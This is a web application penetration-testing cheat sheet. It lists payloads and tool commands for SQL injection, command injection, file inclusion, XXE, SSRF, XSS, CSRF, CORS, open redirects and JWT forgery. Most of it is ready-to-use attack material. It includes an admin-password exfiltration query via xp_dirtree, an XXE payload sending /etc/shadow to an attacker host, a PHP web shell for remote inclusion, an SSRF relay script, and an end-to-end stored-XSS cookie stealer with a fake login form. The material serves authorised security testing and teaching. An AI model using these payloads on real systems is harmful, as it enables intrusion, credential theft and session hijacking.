Pentesting Web Applications
Web applications are one of the most common attack surfaces in a penetration test. This section covers tools and techniques for identifying and exploiting vulnerabilities in web applications and the platforms and content management systems they run on.
Content Management Systems
WPScan
WPScan is a black-box WordPress vulnerability scanner that can enumerate installed plugins, themes, and users, and cross-reference them against a vulnerability database. You can find it here: https://github.com/wpscanteam/wpscan
You can find a comprehensive WPScan cheat sheet on this site covering installation, enumeration options, and useful flags in more detail.
wpscan --url https://example.com # Basic scan of a WordPress sitewpscan --url https://example.com --enumerate u # Enumerate valid usernameswpscan --url https://example.com --enumerate u,ap,cb,dbe --plugins-detection aggressive # Enumerate users, all plugins, config backups and DB exports with aggressive plugin detectionwpscan --url https://example.com/wp-login.php -P passwords.txt -U users.txt # Brute-force login using a password and username listwpscan --url https://example.com --enumerate ap,at,tt,cb,dbe,u1-20,m1-100 --detection-mode aggressive --api-token <YOUR_API_TOKEN> # Full enumeration (plugins, themes, timthumbs, config backups, DB exports, users 1-20, media 1-100) against the WPScan vulnerability databaseAn API token (free tier available) is required to cross-reference findings against the WPScan vulnerability database.
You can also use a Google dork to hunt for exposed WordPress AJAX endpoints.
inurl:/wp-admin/admin-ajax.php # Optionally scope with site: to a specific domain or TLD
SQL Injection
SQL Injection occurs when user-supplied input is concatenated into a database query without proper sanitisation, allowing an attacker to alter the query’s logic. Depending on the database engine and the query context, this can be used to bypass authentication, extract entire databases, write files to disk, or in some cases execute operating system commands.
Manual Testing
Before reaching for automation, try breaking the query with a handful of characters and observing how the application responds (error messages, blank pages, changed behaviour, or timing delays):
'%27"%22#%23;%3B)*' or 1=1 --'%20or%201=1%20--username=admin' or 1=1--+&password=passwordname=','');WAITFOR%20DELAY%20'0:0:5'--%20-1;IF USER='dbo' WAITFOR DELAY '00:00:15'UNION-Based Injection
A UNION-based attack works in three stages: find the number of columns returned by the original query, work out which of those columns can display text, then use those columns to pull real data.
-- Determine the column count with ORDER BY, then confirm data types with NULLs' UNION ALL SELECT 1,2,3,4,5 -- +' UNION SELECT NULL,NULL,NULL,database(),NULL -- +Useful things to pull once you have a working UNION query: database(), user(), @@version, and the contents of information_schema.tables / information_schema.columns.
sqlmap
sqlmap automates detection and exploitation across most database engines. You can find a comprehensive sqlmap cheat sheet on this site covering installation, common flags, and tamper scripts in more detail.
sqlmap -u https://example.com --crawl=1 # Crawl a site and test discovered parameterssqlmap -u https://example.com/login.php --method POST --data "email=test%40test.com&password=test" -p "email" # Test a POST parametersqlmap -u "https://example.com/products?id=1" -p id --random-agent --threads=5 --risk=3 --level=5 --force-ssl --current-db --dbs # Aggressive scan against a GET parametersqlmap -u 'https://example.com/search.php' --forms --crawl=2 --dump # Auto-detect forms and dump on successsqlmap -r request.txt -p id --level 3 --risk 3 --tamper=between --random-agent --force-ssl --file-read=/etc/passwd --proxy http://127.0.0.1:8080 # Replay a saved Burp request, read a file, and route through Burpsqlmap -r request.txt --dbms=mysql --os-shell # Attempt to drop into an OS shell via the injectionsqlmap -r request.txt --ignore-code=401 # Ignore expected error codes while fuzzingTechniques can be forced with --technique:
| Letter | Technique |
|---|---|
| B | Boolean-based blind |
| E | Error-based |
| U | Union query-based |
| S | Stacked queries |
| T | Time-based blind |
| Q | Inline queries |
Dumping data once injection is confirmed:
--dbs # List available databases--tables -D <db_name> # List tables in a database--columns -D <db_name> -T <table_name> # List columns in a table--dump -D <db_name> -T <table_name> -C <column_name> # Dump a specific column--all # Retrieve everythingFor WAF/filter evasion, chain tamper scripts:
sqlmap -r request.txt --level 3 --tamper=between,charunicodeencode,equaltolike,greatest,multiplespaces,randomcase,space2comment,space2plus,unmagicquotes --random-agentBlind, time-based injection is confirmed with a delay-based payload, and stacked queries can be used for out-of-band exfiltration where direct output isn’t available:
-- MSSQL time-based blind confirmation1' waitfor delay '0:0:10'--
-- MSSQL out-of-band exfiltration via xp_dirtree (requires outbound DNS/SMB from the DB server)1;declare @p varchar(1024);set @p=(SELECT @@VERSION);exec('master..xp_dirtree "//'+@p+'.your-collaborator-domain.net/a"')--'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='admin');exec('master..xp_dirtree "//'+@p+'.your-collaborator-domain.net/a"')--Other Tools
# Damn Small SQLi Scanner - lightweight alternative for quick checkspython3 dsss.py -u "http://example.com/index.php?id=1"JSQL Injection is a GUI alternative worth having available, particularly for exploring results interactively.
After Access: Querying the Database
Once you have direct or injected access to run queries, the basics differ slightly per engine:
-- MySQLSHOW DATABASES;USE database_name;SHOW TABLES;DESCRIBE table_name;SELECT * FROM table_name;
Command Injection
Command injection occurs when user input is passed to a function that executes operating system commands, without properly sanitising shell metacharacters. If you suspect a parameter is being passed to a system call (file conversion, ping/traceroute utilities, image processing, etc.), commix will automate detection and exploitation.
sudo commix -u https://example.com/upload.php -d "file=" # Test a POST parametersudo commix -u "https://example.com/tools/ping.php?host=127.0.0.1" --random-agent # Test a GET parametersudo commix -u "https://example.com/tools/ping.php?host=127.0.0.1" --random-agent --os-cmd='id' # Run a specific command once injection is confirmedWhen triaging crawled URLs at scale, gf patterns make it easy to shortlist likely candidates before running commix against them:
gau example.com | gf rce
Server-Side Template Injection
Server-Side Template Injection (SSTI) happens when user input is embedded directly into a server-side template rather than being passed in as data, letting an attacker break out of the template context and execute code in the templating engine (and often the underlying OS). tplmap automates detection and exploitation across common template engines.
tplmap -u "https://example.com/products/filter?category=FUZZ"
File Inclusion & Path Traversal
File inclusion vulnerabilities occur when an application uses user-controlled input to build a filesystem path or include statement without sufficient validation. Depending on how the include is implemented, this can be used to read arbitrary local files (LFI) or, less commonly, to fetch and execute a remote attacker-hosted file (RFI).
Local File Inclusion
Basic traversal to reach files outside the intended directory:
../../../../etc/passwd..%2F..%2F..%2F..%2Fetc%2FpasswdIf basic traversal is filtered, try encoded or double-encoded variants:
../..\..\/%2e%2e%2f%252e%252e%252f%c0%ae%c0%ae%c0%af%uff0e%uff0e%u2215..././....\ffuf can be used to fuzz for the vulnerable parameter and confirm the correct traversal depth:
ffuf -w /usr/share/wfuzz/wordlist/vulns/dirTraversal-nix.txt -u "https://example.com/page.php?file=FUZZ" -mc 200,302 -c -vIf direct file read isn’t available but you can influence a log file (e.g. via a crafted User-Agent), log poisoning can turn an LFI into RCE by injecting PHP into a log the application later includes:
../../../../../../var/log/apache2/error.loghttps://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16dWhere the application fetches a remote file via a URL parameter, hosting a small PHP payload and including it directly can also lead to code execution:
phpexec.txt = <?php echo shell_exec($_GET["cmd"]); exit; ?>
https://target.example/section.php?page=http://attacker-host:8000/phpexec.txt%00&cmd=idRemote File Inclusion
RFI works the same way as the URL-based LFI example above, but relies on the application allowing a fully qualified remote URL in the include parameter rather than requiring a local wrapper. It’s increasingly rare on modern PHP configurations (allow_url_include is disabled by default) but still worth checking on legacy stacks.
Common Sensitive File Locations (Windows)
When LFI is confirmed on a Windows host, these paths are worth targeting for credentials, configuration, and version information:
C:\Apache\conf\httpd.confC:\Apache\logs\access.logC:\Apache\logs\error.logC:\Apache2\conf\httpd.confC:\Apache2\logs\access.logC:\Apache2\logs\error.logC:\Apache22\conf\httpd.confC:\Apache22\logs\access.logC:\Apache22\logs\error.logC:\Apache24\conf\httpd.confC:\Apache24\logs\access.logC:\Apache24\logs\error.logC:\Documents and Settings\Administrator\NTUser.datC:\php\php.iniC:\php4\php.iniC:\php5\php.iniC:\php7\php.iniC:\Program Files (x86)\Apache Group\Apache\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache\logs\access.logC:\Program Files (x86)\Apache Group\Apache\logs\error.logC:\Program Files (x86)\Apache Group\Apache2\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache2\logs\access.logC:\Program Files (x86)\Apache Group\Apache2\logs\error.logc:\Program Files (x86)\php\php.iniC:\Program Files\Apache Group\Apache\conf\httpd.confC:\Program Files\Apache Group\Apache\conf\logs\access.logC:\Program Files\Apache Group\Apache\conf\logs\error.logC:\Program Files\Apache Group\Apache2\conf\httpd.confC:\Program Files\Apache Group\Apache2\conf\logs\access.logC:\Program Files\Apache Group\Apache2\conf\logs\error.logC:\Program Files\FileZilla Server\FileZilla Server.xmlC:\Program Files\MySQL\my.cnfC:\Program Files\MySQL\my.iniC:\Program Files\MySQL\MySQL Server 5.0\my.cnfC:\Program Files\MySQL\MySQL Server 5.0\my.iniC:\Program Files\MySQL\MySQL Server 5.1\my.cnfC:\Program Files\MySQL\MySQL Server 5.1\my.iniC:\Program Files\MySQL\MySQL Server 5.5\my.cnfC:\Program Files\MySQL\MySQL Server 5.5\my.iniC:\Program Files\MySQL\MySQL Server 5.6\my.cnfC:\Program Files\MySQL\MySQL Server 5.6\my.iniC:\Program Files\MySQL\MySQL Server 5.7\my.cnfC:\Program Files\MySQL\MySQL Server 5.7\my.iniC:\Program Files\php\php.iniC:\Users\Administrator\NTUser.datC:\Windows\debug\NetSetup.LOGC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\php.iniC:\Windows\repair\SAMC:\Windows\repair\systemC:\Windows\System32\config\AppEvent.evtC:\Windows\System32\config\RegBack\SAMC:\Windows\System32\config\RegBack\systemC:\Windows\System32\config\SAMC:\Windows\System32\config\SecEvent.evtC:\Windows\System32\config\SysEvent.evtC:\Windows\System32\config\SYSTEMC:\Windows\System32\drivers\etc\hostsC:\Windows\System32\winevt\Logs\Application.evtxC:\Windows\System32\winevt\Logs\Security.evtxC:\Windows\System32\winevt\Logs\System.evtxC:\Windows\win.iniC:\xampp\apache\conf\extra\httpd-xampp.confC:\xampp\apache\conf\httpd.confC:\xampp\apache\logs\access.logC:\xampp\apache\logs\error.logC:\xampp\FileZillaFTP\FileZilla Server.xmlC:\xampp\MercuryMail\MERCURY.INIC:\xampp\mysql\bin\my.iniC:\xampp\php\php.iniC:\xampp\security\webdav.htpasswdC:\xampp\sendmail\sendmail.iniC:\xampp\tomcat\conf\server.xml
XML External Entities (XXE)
An XML External Entity (XXE) attack abuses features of XML parsers to interact with backend or external systems that the application itself can reach. Beyond reading arbitrary files, XXE can be chained into denial of service, SSRF, port scanning, and in some cases remote code execution. Look for XML parsing anywhere a document, spreadsheet, PDF, or SVG can be uploaded, and try spraying Content-Type: application/xml on requests to see what errors come back.
There are two flavours: in-band, where the payload’s output is reflected directly in the response, and out-of-band (blind), where the result has to be exfiltrated to an attacker-controlled listener because there’s no direct response to read from.
<!-- Simple local file read --><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
<!-- Reflecting the entity into a response field --><!DOCTYPE replace [<!ENTITY name "value">]><userInfo> <firstName>&name;</firstName></userInfo>
<!-- Out-of-band read via an external DTD (useful when there's no direct output) --><!-- Hosted DTD file: --><!ENTITY % stolendata SYSTEM "file:///etc/shadow"><!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://attacker-host:4444/?%stolendata;'>"><!-- Referencing document: --><?xml version="1.0" encoding="utf-8"?><!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://attacker-host:4444/evil.dtd"> %extentity;]>
<!-- XInclude, useful when you can't control the DOCTYPE --><foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
<!-- SVG upload, often overlooked as an XML-based format --><svg xmlns="http://www.w3.org/2000/svg" width="300" height="200"> <image xlink:href="expect://id" xmlns:xlink="http://www.w3.org/1999/xlink"></image></svg>
<!-- SOAP request wrapping a classic XXE payload --><soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker-host:22/"> %dtd;]><xxx/>]]> </foo></soap:Body>A quick reference for the resource: gosecure XXE workshop.
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery is a vulnerability where an attacker forces a server to make a request on their behalf, often to internal resources that wouldn’t normally be reachable from the outside (metadata endpoints, internal admin panels, other services on the same network). It’s a common target in PDF generators, URL preview features, webhooks, and image-fetching functionality.
SSRFmap automates exploitation from a saved Burp request:
python3 ssrfmap.py -r request.txt -p url -m readfiles,portscanWhere allow-listing is in place, these bypasses are worth working through:
## Localhost variantshttp://127.0.0.1:80http://0.0.0.0:80http://localhost:80http://[::]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
## CIDR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0
## Decimal / octal bypasshttp://2130706433/ = http://127.0.0.1http://3232235521/ = http://192.168.0.1
## Malformed URLs / parser confusion (different libraries resolve these differently)http://1.1.1.1 &@2.2.2.2# @3.3.3.3/http://127.1.1.1:80\@127.2.2.2:80/http://127.1.1.1:80#\@127.2.2.2:80/
## PHP filter_var() bypass0://evil.com:80;http://target.com:80/Where the response is reflected, chaining SSRF into a local wrapper can read source files:
php://filter/convert.base64-encode/resource=index.phpAnd where the SSRF is blind but you have a stored XSS or similar on the target, the server itself can be used as a relay to exfiltrate the response of an internal request:
var myserver = 'http://attacker-host:8000/';var targeturl = 'http://internal-service.local/accounts';
var req = new XMLHttpRequest;req.onreadystatechange = function () { if (req.readyState == 4) { var req2 = new XMLHttpRequest; req2.open("GET", myserver + btoa(this.responseText), false); req2.send(); }};req.open("GET", targeturl, false);req.send();
Cross-Site Scripting (XSS)
A web application is vulnerable to XSS if it renders unsanitised user input back into the page, allowing an attacker to run arbitrary JavaScript in a victim’s browser session. There are three main types:
- Stored XSS — the most dangerous variant. The malicious payload is saved server-side (a comment, profile field, etc.) and served to every visitor who views it.
- Reflected XSS — the payload is part of the victim’s own request and is echoed back in the response, requiring the attacker to trick the victim into clicking a crafted link.
- DOM-based XSS — the payload never reaches the server at all; it’s introduced entirely client-side through unsafe DOM manipulation of attacker-controllable data (URL fragments,
postMessage, etc.).
Scanning
XSStrike is a good first pass for reflected parameters:
python3 xsstrike.py -u "https://example.com/search?q="python3 xsstrike.py -u "https://example.com" --crawlAlways double check anything it flags manually in Burp/the browser — automated scanners over-report on context-sensitive filters.
Polyglots
Polyglot payloads are built to break out of several different injection contexts at once, useful when you don’t know exactly how your input is being reflected:
"'><script>alert()</script>"--><script>alert(document.cookie)</script>javascript:alert(1)//"'></script><script>alert()</script><A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`Tags & Event Handlers
If the obvious <script> tag is filtered, these tags and events are worth cycling through:
# Tagsscript, img, svg, a, body, html, meta, xml, object, iframe
# Eventsonload, onerror, onclick, ondblclick, onmousedown, onmousemove, onmouseover,onmouseout, onmouseup, onkeydown, onkeypress, onkeyup, onabort, onresize,onscroll, onunload, onsubmit, onblur, onchange, onfocus, onreset, onselect,onauxclick, oncontextmenu, onmouseleave, ontouchcancelPayloads
<!-- Basic proof of concept --><script>alert(document.cookie)</script>
<!-- Where () is filtered - backticks work just as well --><img src=a onerror=alert`1`>
<!-- Where href is attacker-controlled -->javascript:alert(1)
<!-- Already inside a </script> context -->'-alert(1)-'
<!-- NULL byte to try bypass a blacklist filter -->%00<script>alert(1)</script>
<!-- Invisible iframe redirecting a victim's browser to a listener --><iframe src="http://attacker-host/report" height="0" width="0"></iframe>
<!-- Session cookie exfiltration --><script>new Image().src="http://attacker-host/bogus.php?output="+document.cookie;</script>
<!-- Credential-harvesting login form injected via stored XSS --><h3>Please login to proceed</h3><form action="http://attacker-host"> Username:<br><input type="text" name="username"></br> Password:<br><input type="password" name="password"></br> <input type="submit" value="Logon"></form>Stored XSS Cookie Stealing, End to End
If you can store a script in a comment field, profile bio, or similar, and want to harvest visitors’ cookies:
<?php $cookie = $_GET["c"];?>Save it as cookie.php, start a PHP server on the attacking box:
php -S 0.0.0.0:8000Then inject the following into the vulnerable field:
<script>document.location='http://attacker-host:8000/cookie.php?c='+document.cookie;</script>Every visitor who loads the page sends their cookie to the listener.
Further reading: PortSwigger XSS cheat sheet, OWASP filter evasion cheat sheet, XSS payload repository.
Cross-Site Request Forgery (CSRF)
CSRF abuses the fact that browsers automatically attach a user’s session cookies to requests, regardless of which site initiated them. Using an attacker-controlled page (or an XSS vulnerability), a victim can be made to unknowingly submit a request to a target application while authenticated, triggering a state-changing action (creating a user, transferring funds, etc.) in their own account.
Where a CSRF token is present but the endpoint still accepts requests without one, or where SameSite cookie protections are in play, these bypasses are worth trying:
# Method override — some frameworks honour these even when the real verb is blocked by SameSitehttps://example.com/api/val/num?_method=PUT
X-HTTP-Method: PUTX-HTTP-Method-Override: PUTX-Method-Override: PUTFurther reading: HackTricks CSRF, SameSite Lax bypass via method override, Cobalt CSRF bypass roundup.
CORS Misconfiguration
Cross-Origin Resource Sharing misconfigurations occur when a server reflects an arbitrary Origin header back in Access-Control-Allow-Origin (sometimes alongside Access-Control-Allow-Credentials: true), letting any attacker-controlled page read authenticated responses from the target on behalf of a logged-in victim.
Checking a single endpoint manually:
site="https://example.com"curl -s -I -H "Origin: https://evil.com" -X GET "$site" | grep -i 'access-control-allow-origin: https://evil.com' && echo "[Potential CORS] $site"Checking every crawled endpoint of a site:
gau example.com | while read url; do curl -s -I -H "Origin: https://evil.com" -X GET "$url" | grep -qi 'https://evil.com' && echo "[Potential CORS] $url"doneIt’s also worth checking whether null origin is trusted, which can be triggered from a sandboxed iframe:
site="https://example.com"curl -s -I -H "Origin: null" -X GET "$site" | grep -qi 'Access-Control-Allow-Origin: null' && echo "[Potential CORS - null origin trusted] $site"CORS-one-liner wraps these checks for scanning a list of hosts at once.
Once reflection is confirmed, a minimal proof of concept demonstrates real impact by reading an authenticated endpoint cross-origin and rendering the result:
<!DOCTYPE html><html> <head> <script> function exploit() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.getElementById("output").innerText = this.responseText; } }; xhttp.open("GET", "https://example.com/api/user/profile", true); xhttp.withCredentials = true; xhttp.send(); } </script> </head> <body> <h2>CORS PoC</h2> <button onclick="exploit()">Exploit</button> <pre id="output"></pre> </body></html>
Open Redirects
An open redirect lets an attacker construct a link that appears to point at a trusted domain but ultimately redirects the victim to an attacker-controlled destination — useful for phishing, and occasionally chainable into OAuth token theft where a redirect_uri isn’t strictly validated.
https://company.com/?redirect=http://attacker.comhttps://company.com/?redirect=http://company.com.attacker.comhttps://company.com/?redirect=https://[email protected]https://company.com/?redirect=//attacker.comhttps://company.com/?redirect=http://attacker.com#company.comhttps://company.com/?redirect=http://attacker.com?company.comhttps://company.com/?redirect=http://attacker.com/company.comhttps://company.com/?redirect=http://ⓐⓣⓣⓐⓒⓚⓔⓡ.ⓒⓞⓜhttp:/evil%252ecomParameter names worth grepping crawled URLs for:
url=|rt=|cgi-bin/redirect.cgi|continue=|dest=|destination=|go=|out=|redir=|redirect_uri=|redirect_url=|return=|return_path=|returnTo=|rurl=|target=|view=|from_url=|load_url=|file_url=|page_url=|file_name=|page=|folder=|folder_url=|login_url=|img_url=|return_url=|return_to=|next=|redirect=|redirect_to=|logout=|checkout=|checkout_url=|goto=|next_page=|file=|load_file=gau example.com | gf redirectEncoding the destination (=http, =aHR0) is often enough to slip past a naive allow-list check on its own.
Further reading: PayloadsAllTheThings — Open Redirect.
Insecure Direct Object References (IDOR)
IDOR occurs when an application exposes a reference to an internal object — a file ID, order number, or account ID — without checking whether the requesting user is actually authorised to access it. If those references are sequential or otherwise easy to guess (?id=1042, /invoices/1041.pdf), an attacker can enumerate them to pull other users’ data.
When testing, look specifically for:
- Numeric or otherwise low-entropy identifiers in URLs, form fields, and API responses.
- Endpoints that accept an ID parameter but never validate it against the authenticated session.
- Object references leaking in places other than the URL — hidden form fields, API responses for unrelated objects, or export/PDF filenames.
Burp’s Intruder (or a simple loop with curl) against the identified parameter, run as a lower-privileged or authenticated-but-unrelated user, is usually enough to confirm the finding.
JWT & Session Attacks
A JSON Web Token is a common mechanism for stateless authorization. It’s made up of three base64url-encoded, dot-separated parts:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c- Header — the signing algorithm and token type, e.g.
{"alg":"HS256","typ":"JWT"}. - Payload — claims about the user (ID, role, expiry, etc.), fully readable by anyone since it’s only base64-encoded, not encrypted.
- Signature — proves the header and payload weren’t tampered with, generated using whatever algorithm was declared in the header.
The alg: none Attack
Some JWT libraries still honour an algorithm value of none, meaning no signature is required at all. If the server hasn’t explicitly rejected that algorithm, you can decode a legitimate token, edit the claims you want to change, re-encode it with alg set to none, and drop the signature entirely:
// Original header{"typ":"JWT","alg":"HS256"}// Original payload{"exp":1586620929,"iat":1586620629,"identity":1}// Modified header{"typ":"JWT","alg":"NONE"}// Modified payload — escalate to a different user ID{"exp":1586620929,"iat":1586620629,"identity":2}Base64url-encode each part, join them with dots, and leave the signature section empty (a trailing dot with nothing after it):
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwiaWRlbnRpdHkiOjB9Cg.Replace the cookie or Authorization header with the new token and reload — if the endpoint is vulnerable, the application will now treat the request as the escalated identity.
Cracking the Signing Secret
If alg: none doesn’t work, the signature is still worth attacking directly — a weak or default HMAC secret can be brute-forced offline with jwt_tool or jwtcrack, letting you forge arbitrary valid tokens once the secret is recovered.




